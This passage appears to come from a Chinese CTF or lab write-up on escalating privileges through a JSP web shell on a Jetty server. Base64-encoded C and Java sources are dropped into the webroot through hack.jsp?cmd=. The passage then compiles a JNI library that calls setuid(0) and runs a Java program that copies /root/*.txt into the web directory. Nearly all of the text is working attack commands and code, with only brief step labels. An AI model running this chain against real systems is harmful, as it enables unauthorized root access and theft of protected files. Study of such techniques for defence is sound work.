1 hack.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c
1 2 3 4 5 6 7 8 9 #include <jni.h> //1111111111122 #include <unistd.h> JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) { return setuid(uid); } #不知道为啥这里要注释一行才行,,,
写入SetUID.java
1 2 3 4 5 6 7 8 9 10 11 12 13 public class SetUID { static { System.loadLibrary("SetUID" ); } public native int setUID (int uid) ; public static void main (String[] args) throws Exception { SetUID setUID = new SetUID (); int result = setUID.setUID(0 ); Runtime.getRuntime.exec(new String []{"sh" ,"-c" ,"cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt" }); } }
1 hack.jsp?cmd=echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java
编译SetUID.c
1 hack.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c
编译SetUID.java
1 hack.jsp?cmd=javac%20 /opt/jetty/webapps/ROOT/SetUID.java
root执行命令
1 hack.jsp?cmd=java%20 -Djava.library.path=/opt/jetty/webapps/ROOT/%20 -cp%20 /opt/jetty/webapps/ROOT/%20SetUID
成功读取root下面的txt文件